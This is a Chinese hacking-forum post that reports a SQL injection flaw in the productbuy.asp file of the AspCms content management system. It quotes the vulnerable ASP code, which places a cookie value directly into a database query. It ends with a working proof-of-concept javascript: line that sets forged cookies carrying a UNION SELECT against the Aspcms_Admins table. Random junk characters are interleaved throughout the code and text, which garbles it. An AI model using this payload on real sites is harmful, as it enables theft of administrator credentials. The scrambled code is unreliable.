好久没上土司了,上来一看发现在删号名单内.....
# P$ |2 @. S! V: r( W: X u8 P也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
. {7 j! R+ y' ?1 z; ~: ?废话不多说,看代码:
. }# ]$ O- k6 ]' C5 g4 U' ?7 j9 Y ^8 ^5 [$ d2 }& _
<%
/ l( ^8 y) }9 [8 h) A( s
: K8 ]! a5 A3 Rif action = "buy" then
4 K0 H* s6 }, w% ?# v( a
8 z! ]" t# W6 Y. s+ y3 e addOrder()( z9 y$ F% C& V; h
9 P8 y3 W# M* o# J) f
else
3 m' H1 X8 \; E: P
1 ]! r8 A% J+ V& P! {" [ echoContent()
+ v1 x3 ~9 A" p2 I! x# o+ P' s. _, [) O' }9 f9 |
end if3 Q) P8 P# G3 A6 I3 k. x& x
) \ ^8 |- z: x
* A @* I8 T; |7 H% y
3 I8 l, G2 j/ h! G……略过* e/ p* a$ {. ?& f7 x1 B! L8 u
1 c" |! Q; c5 b4 v
" F; W* T4 B" N2 F% s- M: E1 S" P% P$ {
Sub echoContent()
7 U0 p. Z" _. e# |+ A% D
. V3 ]8 m# J, Y$ ]# f dim id
8 z$ f3 J- a2 j1 d, E @- D1 k2 R/ M3 R# T
id=getForm("id","get")
, [8 `" n- [8 u0 X/ U% S8 H* ?/ Z% V: x
- l+ ^/ J3 G( F* b2 ^1 X% M# G
' p, V) J4 E* y( F( P' a
if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" / d: T0 g$ X, I3 G
% _& r; J6 m: A" p/ |0 O7 X9 L/ G [
0 v& g9 Y; l& V) Q Q( R: [9 |: n
- P! w5 \; |& y! \6 W
dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")7 {; Q3 V+ @9 T
8 @4 L7 n' s3 N- M+ I
dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct+ _/ P! o+ ?; ^; C0 O; ]$ u
8 F" B' m' [ n6 b$ f& f+ m" p Dim templatePath,tempStr
8 R6 n. f5 e2 y5 u3 L0 g6 U6 L
templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"4 x$ y( V0 j& }8 _; ^
( L8 V2 h) O! b
! k5 v7 `5 U8 g i- n, u' \
6 Z {$ G; R8 r set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")( z* Y8 `* R8 s- N/ x' e
9 o4 R! F; ` J8 |7 @7 j selectproduct=rsObj(0)! |- O1 Y$ G3 F9 c5 S
0 F8 m9 E$ l5 ~2 h. p 5 ~. O0 S+ Y8 k6 @1 W
- @" d6 l( V7 y4 n# P Dim linkman,gender,phone,mobile,email,qq,address,postcode6 \( {; _$ W" V) t% P
5 r# x4 F1 o) Z4 g7 M/ b
if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0. W! ]* U$ `' O4 ?
2 Q1 Q" y: @2 b. |" X8 r
if rCookie("loginstatus")=1 then - s) |" Y0 v7 E; o: w+ R
4 b! x7 A: @( c, Y P2 s set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")! A6 V& {' L# p* H0 U
5 _ \+ F& c4 a4 r linkman=rsObj("truename"); x4 o$ N g+ R0 s. S: z& P
( T: U5 c8 K6 E0 J
gender=rsObj("gender")
# ~3 j# |( ~3 W" l, Y) v. m4 u
; P ~) t5 j" s phone=rsObj("phone")
! ~8 d6 [8 G: O2 \9 g3 W7 v0 i9 s" |6 V/ [& N$ u: J9 B
mobile=rsObj("mobile")5 m$ O2 R1 {8 J/ z+ j: n
& Z& Q5 ^# A$ e C( |8 q
email=rsObj("email")
+ P# U4 A+ K- h5 l& s5 v( b7 \& H0 j6 q! d/ r8 g/ u
qq=rsObj("qq")# t" s( Z: d5 u; w4 h
( Q8 }/ Q6 S8 W4 Z4 u- m @% j$ D
address=rsObj("address")
# v7 Q5 Z0 ^5 I4 `" m5 r. F
! \. p7 {9 h; I- ]) K postcode=rsObj("postcode")/ q' ]/ J, w" Q) n7 z" B1 v
8 L k; C2 i: s& ]0 C# k else
) @1 a- U6 k4 r& o2 W1 r5 D' M$ u- z4 U3 t$ J' I
gender=1: _1 i7 Z0 L) c
7 h! D/ U& P; Y- H& s. C
end if4 i, a" P+ s2 K9 O$ I* i1 @1 h
5 U+ |' G5 t$ w rsObj.close(): G) }2 f4 }4 s; A8 i* F) J- K2 G4 j
- |' o4 Q" v& i2 l& j! f
) ~1 f4 O4 q z. n
9 E9 g( Z1 G: j$ h( G with templateObj
- A# f& \8 H" s2 V7 ?: |- E5 {& C# N$ l% ^% ]3 b( X
.content=loadFile(templatePath)
; S* d0 j3 D8 I+ Q) w" l J6 x0 o
3 |+ _4 f1 o) l' a9 o .parseHtml()
4 L3 w& C$ ]8 j. U. t0 I$ x; }2 k; ?0 B
.content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)" y8 M! M; d# R, [& I6 g
- }) i: L& |$ |2 e- |
.content=replaceStr(.content,"[aspcms:linkman]",linkman) 5 S) n: ?7 X7 e' k. u
0 a1 _' b8 W! x2 S$ s2 F0 D
.content=replaceStr(.content,"[aspcms:gender]",gender)
8 j& E: @9 e' j" \, |, F$ h! G& l8 N' V; F, l" t/ b& f
.content=replaceStr(.content,"[aspcms:phone]",phone)
9 v6 [3 L% t& C( O/ ^2 t- g! h, }/ ]0 a7 p4 R
.content=replaceStr(.content,"[aspcms:mobile]",mobile)
8 m& s2 b7 k* a5 w. F8 ~
$ O* e1 r- ^- ^/ s# } .content=replaceStr(.content,"[aspcms:email]",email)
. u2 F9 m6 c; Y9 d1 ~9 s
6 x) ^( k! F; C) ?. V .content=replaceStr(.content,"[aspcms:qq]",qq) . r0 A3 M& G0 c# @
( J. E0 x: x% F) V( V .content=replaceStr(.content,"[aspcms:address]",address)
! u$ g! c, b& E& g
8 ~6 p6 R9 k( l- Q# L) i1 ]& b" j .content=replaceStr(.content,"[aspcms:postcode]",postcode)
" E, d* I2 i+ h3 l0 w
: H) N% C) U3 S( @. P" L; y .parseCommon()
8 x% w9 k8 A8 l& W" X3 F% I( y( i" |& \
8 X2 ~$ u1 H8 a, ]3 M echo .content - c: s( D- H9 c
6 ~' U* f8 B O6 _2 }/ @# U$ i/ o& z end with
2 W. L% I6 I7 [' v$ m) Z, V5 D- J% f0 _1 x' T
set templateobj =nothing : terminateAllObjects
( V0 x5 ?3 }0 Y( ~( p$ Z, X- Z7 f$ |, _ f9 e( q, I; C
End Sub! i7 G$ B5 y4 s$ q2 O
漏洞很明显,没啥好说的' d( u0 Y% H% D9 O
poc:
* q/ b0 X s' G1 j U# i
$ H8 N+ w- ^/ N+ s" b& M3 B0 w+ L/ g+ [javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子
' i' O7 c$ k: R. |: T
- a) `$ h1 m% t! \! Y8 A |